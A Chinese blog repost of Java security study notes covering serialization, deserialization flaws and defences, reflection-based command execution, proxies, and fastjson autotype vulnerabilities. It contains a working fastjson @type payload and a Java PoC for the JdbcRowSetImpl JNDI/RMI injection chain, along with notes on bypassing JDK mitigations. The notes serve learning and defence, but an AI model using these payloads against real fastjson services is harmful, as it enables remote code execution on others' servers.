首页 > 编程语言 >【Java安全】基础汇总

【Java安全】基础汇总

时间:2025-01-22 20:10:54浏览次数:1  
标签:rmi Java 对象 汇总 安全 java 序列化 服务端 客户端

一、JAVA安全

1.1 java的序列化和反序列化

Java 序列化是指把 Java 对象转换为字节序列的过程ObjectOutputStream类的 writeObject() 方法可以实现序列化

Java 反序列化是指把字节序列恢复为 Java 对象的过程ObjectInputStream 类的 readObject() 方法用于反序列化。

1、序列化:将数据结构或者对象转换成字节流。

2、反序列化:将字节流恢复到原来的状态。

3、能反序列化的类必须继承Serializable接口。

4、什么是java反序列化漏洞?

客户端将服务端的某个对象进行序列化,服务端接受到序列化之后的数据在反序列化的时候触发了该对象的object方法中的一些危险逻辑代码。

5、反序列化在理论上只能去恢复对象,并控制他的字段值。但是如果要想造成额外的逻辑,需要配合一定的代码条件

6、java在进行反序列化的过程中,要是能够触发恶意代码,比较依赖于object函数(作用相当于php的魔术方法)。

1.2 浅析Java序列化和反序列化

https://github.com/gyyyy/footprint/blob/master/articles/2019/about-java-serialization-and-deserialization.md#经典的apache-commons-collections

1.3 Java反序列化的防御方式

1、升级java版本。

2、使用黑白名单限制能够反序列化的类。

3、禁止 JVM 执行外部命令 Runtime.exec。通过扩展 SecurityManager 可以实现。

1.4 PHP序列化和java序列化

1、结果不同

PHP序列化的结果就是一串字符,人为可以构造。

java序列化的结果是二进制串。

2、php的在序列化和反序列化的时候,开发者并不能控制他序列化的内容。

java在反序列化的时候,可以插入一些自定义的数据,然后通过readObject方法去读取。

3、php反序列化漏洞的根本原因不是在序列化和反序列化的过程中触发漏洞,而是在反序列化之后可以控制对象的属性,进而触发一些危险的代码(通常是析构函数、魔术方法中)。

java是在反序列化的过程中,触发漏洞。根本原因就是可以控制反序列化的内容。

1.5 Java classloader加载过程

1、加载: 加载阶段既可以使用系统提供的加载器,也可以用户自定义类加载器来完成类的加载。

类的二进制字节流将按照JVM所需的格式存储在方法区中。
产生class对象。

2、链接

3、初始化阶段

初始化阶段才开始真正执行java代码。

https://mp.weixin.qq.com/s?__biz=MzI3MDE0NzYwNA==&mid=2651443305&idx=2&sn=0bbc6042ec6c0641f9a6e0b57ee146ef&chksm=f128f912c65f7004a847a600168a2393ad3d98e6131386a73459a2eaa7a5001fbf27647ac770&mpshare=1&scene=23&srcid=04279rhOvZ2uAVzmdtdqwDaF&sharer_sharetime=1619532417932&sharer_shareid=f11ed98102758401aa5143f997cb1287#rd

1.6 CC链的分析

https://xz.aliyun.com/t/9409

https://paper.seebug.org/1242/

Java中的命令执行

1、Runtime类

该类的exec方法可以执行命令。

Runtime.getRuntime().exec("ifconfig")

该类是一个单例模式的类,具有私有的构造函数,无法直接 new 生成一个对象,需要调用类中的公共方法获取一个类对象,然后执行命令。

public static Runtime getRuntime() {
        return currentRuntime;
    }

执行exec方法之后,进而调用ProcessBuilder类的start方法。

然后start方法调用了ProcessImpl的start方法。

2、ProcessBuilder类的start方法

3、ProcessImpl类

该类的构造函数也是私有的,无法直接new一个对象。而且也没有函数去生成一个类。所以需要使用反射的来触发命令。

总结:

InputStream in = new ProcessBuilder("whoami").start().getInputStream();
InputStream in = Runtime.getRuntime().exec("whoami").getInputStream();
String[] cmds = new String[]{"whoami"};
Class clazz = Class.forName("java.lang.ProcessImpl");

Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, Redirect[].class, boolean.class);
method.setAccessible(true);
Process e = (Process) method.invoke(null, cmds, null, ".", null, true);

二、Java反射

1、运行期间,直接可以调用某个类的方法,而无需知道某个类的具体实例。一般来说使用某个类的方法或者属性,需要使用new关键字去生成一个实际例子,而反射不用。

2、反射常用的方式,比如Runtime类。

Runtime类,只有一个私有的构造函数,无法直接去生成一个类,需要先调用类中的公共方法来获取一个对象。

http://tengj.top/2016/04/28/javareflect/

三、Java代理

3.1 静态代理

1、静态代理需要一个委托类也就是原始类和一个代理类,代理类对原始类进行功能扩充。

2、如果接口增加方法,委托对象和代理对象都需要改变。

3.2 动态代理

1、运行时动态代理,代理类不需要实现接口,但是原始类需要接口。

2、代理类需要继承InvocationHandler类,并重写invoke方法。

3、需要测试类来运行代理类,测试类需要使用Proxy类。

动态代理与静态代理的区别:

动态代理不是去直接实现接口的类,而是使用Proxy.newProxyInstance()方法创建一个接口对象。

常用类:Proxy类、InvocationHandler类。

1、java代理可以更好的隐藏委托类,实现解耦。如果需要增加功能不需要去修改原始的类,只需要修改代理类即可。

代理方式:静态代理、动态代理、cglib代理。

通过代理模式,可以在不修改原对象的方法、属性等情况下,扩充原对象的功能。

四、Javafastjosn漏洞

什么是autotype功能?

允许用户在反序列化数据中通过"@type"指定反序列化的Class类型,如果开启这功能,攻击者可以指定恶意的类,在进行反序列化的时候,自动调用set、get方法来触发恶意命令。

https://blog.csdn.net/hosaos/article/details/106982555

1、主要使用阿里巴巴开发的开源库fastjson,作用是将json对象与java对象进行序列化与反序列化的转化。

2、两个主要方法:toJsonString和toparseObject。

3、在反序列化的时候可以指定type的值,parseObject方法能够触发type所指定的类的set和get方法。反序列化需要调用对应参数的setter、getter方法来恢复数据。

可以看到通过指定type的值为固定类,在反序列化的时候调用了对应set方法。如果set方法具有恶意代码,可以传入相应参数触发漏洞。

@type可以指定反序列化成服务器上的任意类
然后服务端会解析这个类,提取出这个类中符合要求的setter方法与getter方法(如setxxx)

get、set方法并不是随便调用的需要符合一下条件:

set方法

get方法

4、在源代码中关于set和get方法的具体调用的逻辑在JavaBeanInfo中的build函数。

使用反射获取类的信息

然后分别判断set和get方法,最后返回JavaBeanInfo对象。

5、那么具体的set、get方法在哪里调用呢?

在com.alibaba.fastjson.parser.deserializer.FieldDeserializer调用set方法。

6、两条利用链:JdbcRowSetImpl和Templateslmpl。

  • JdbcRowSetImpl
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}

@type:目标反序列化类名;

dataSourceName:RMI注册中心绑定恶意服务;

autoCommit:调用setAutoCommit方法,利用lookup方法加载远程对象。

JdbcRowSetImpl类调用了connect方法,在connect方法中使用了lookup方法,其中的参数我们可以控制所以造成了jndi注入。

成功获取到rmi服务

而aa名称在rmi服务端对应的是Reference类生成的对象,客户端请求时如果对象是Reference或者该类的子类,会采用工厂模式,那么客户端在获取对象的时候可以从其他服务器上加载class文件。在构造Reference对象的时候,可以构造恶意class对象的地址,当客户端本地找不到相应的类时,会去请求远程class对象,进造成恶意代码执行。

利用方式有:

  • jdni+rmi

  • jdni+ladp

【限制条件】

jndi注入和ladp注入具有限制条件:

Oracle JDK 6u132、JDK 7u122、JDK 8u113 之后,com.sun.jndi.rmi.object.trustURLCodebase 属性的默认值被调整为false。 属性默认为false时不允许远程加载类。

Oracle JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase属性默认为false时不允许远程加载类。

其实在fastjson的这个利用链中也是利用了能够执行set函数这一特点,主要利用了setDataSourceName、setAutoCommit两个函数,只不过在poc中给这几个函数传入了对应参数值。

所以poc也可以如下:

    import com.sun.rowset.JdbcRowSetImpl;
    
    public class CLIENT {
    
        public static void main(String[] args) throws Exception {
            JdbcRowSetImpl JdbcRowSetImpl_inc = new JdbcRowSetImpl();//只是为了方便调用
            JdbcRowSetImpl_inc.setDataSourceName("rmi://127.0.0.1:1099/aa");//可控uri
            JdbcRowSetImpl_inc.setAutoCommit(true);
        }
    }

  • Templateslmpl

构造恶意类,fastjson会调用恶意类的构造函数执行恶意命令。

在fastjson中并不是所有类的所有get、set方法都会被调用,get、set方法都必须符合某些要求。

该利用链比较苛刻,条件如下:
服务端使用parseObject()时,必须使用如下格式才能触发漏洞:

JSON.parseObject(input, Object.class, Feature.SupportNonPublicField);

服务端使用parse()时,需要

JSON.parse(text1,Feature.SupportNonPublicField);

5、JdbcRowSetImpl利用链的绕过。

在该链中主要利用了jndi注入,但是java版本对其有限制。

jdk1.8.0_161 < 1.8u191可以使用ldap注入。

https://xz.aliyun.com/t/8979#toc-3

6、fastjson各版本的问题

1.2.24版本漏洞产生原因:

官方修复的具体方向:

@type属性主要是指定反序列化的类,然后调用对应的set、get方法,所以官方会去采用黑名单白名单限制加载某些恶意类。

标签:rmi,Java,对象,汇总,安全,java,序列化,服务端,客户端
From: https://www.cnblogs.com/o-O-oO/p/18686709

相关文章

  • Java初学者笔记-11、反射注解动态代理
    Junit单元测试针对最小的功能单元:方法,编写测试代码对其进行正确性测试。Junit单元测试框架:可以用来对方法进行测试,它是第三方公司开源出来的(很多开发工具已经集成了Junit框架,比如IDEA)。可以灵活的编写测试代码,可以针对某个方法执行测试,也支持一键完成对全部方法的自动化测试,且各......
  • [2924]基于JAVA的豆制品生产销售智慧管理系统的设计与实现
    毕业设计(论文)开题报告表姓名学院专业班级题目基于JAVA的豆制品生产销售智慧管理系统的设计与实现指导老师(一)选题的背景和意义在当前信息化、智能化的大背景下,企业运营管理方式的创新和升级显得尤为重要。豆制品生产销售行业作为民生基础产业,其生产与销售过程涉及到众多......
  • 全面解析 Java 流程控制语句
    Java学习资料Java学习资料Java学习资料在Java编程中,流程控制语句是构建程序逻辑的关键部分,它决定了程序的执行顺序和走向。通过合理运用这些语句,开发者能够实现各种复杂的业务逻辑,让程序更加灵活和智能。顺序结构顺序结构是程序中最基本的执行结构,它按照代码书写的......
  • Java 面向对象基础全面解析
    Java学习资料Java学习资料Java学习资料在Java编程领域,面向对象编程(OOP)思想是构建复杂且高效程序的基石。它将现实世界中的事物抽象为程序中的对象,通过一系列特性,让程序更具模块化、可维护性与扩展性。一、面向对象编程思想(一)OOP概念面向对象编程是一种编程范式,它......
  • 链表(双向环形链表)Java版
    双向环形链表(一个哨兵)双向环形链表介绍双向环形链表的特点应用场景代码实现双向环形链表介绍双向环形链表是双向链表的一种特殊形式,其特点是链表的头节点和尾节点相互连接,形成一个环。相较于普通双向链表,环形结构使得链表可以在任意节点上循环遍历,非常适合某些场景,例......
  • 链表(双向链表)Java版
    双向链表(有哨兵节点)双向链表介绍双向链表的特点应用场景代码解析Java代码双向链表介绍双向链表(DoublyLinkedList)是一种链式存储结构,每个节点不仅包含数据,还包含两个指针,分别指向前驱节点和后继节点。它相比单向链表有更高的灵活性,因为可以从任意节点向前或向后遍历......
  • 《OWASP TOP 10重磅来袭!网络安全的“定时炸弹”,你防范好了吗?》
    OWASPTOP10owasp官网:http://www.owasp.org.cn/一、引言简介Web应用安全的重要性在于保护网站和服务器免受外部攻击,确保数据安全和用户隐私。常见的Web应用安全漏洞包括注入攻击、身份验证漏洞、敏感数据暴露等。为了应对这些挑战,企业应采取多层次的安全防护措施,如使用W......
  • 基于java web的社区人员流动管理系统的设计与实现-毕业设计源码19467
    目 录1绪论1.1研究背景与意义1.2国内外研究现状1.3论文结构与章节安排2 系统分析2.1可行性分析2.1.1技术可行性分析2.1.2经济可行性分析2.1.3法律可行性分析2.2系统功能分析2.2.1功能性分析2.2.2非功能性分析2.3系统用例分析2.4系......
  • 记录---当window.open被ios安全机制拦截,我掏出3种方案,终于跳转成功!
    ......
  • JavaSE基础笔记
    Java基础笔记一、流程控制(一)Scanner输入1、next()读取到空白就会自动将其去掉,next()不能得到带有空格的字符串hasNext()可以判断是否还有输入的数据packagecom.TEST.Test01;importjava.util.Scanner;publicclassTest01{publicstaticvoidmain(String[......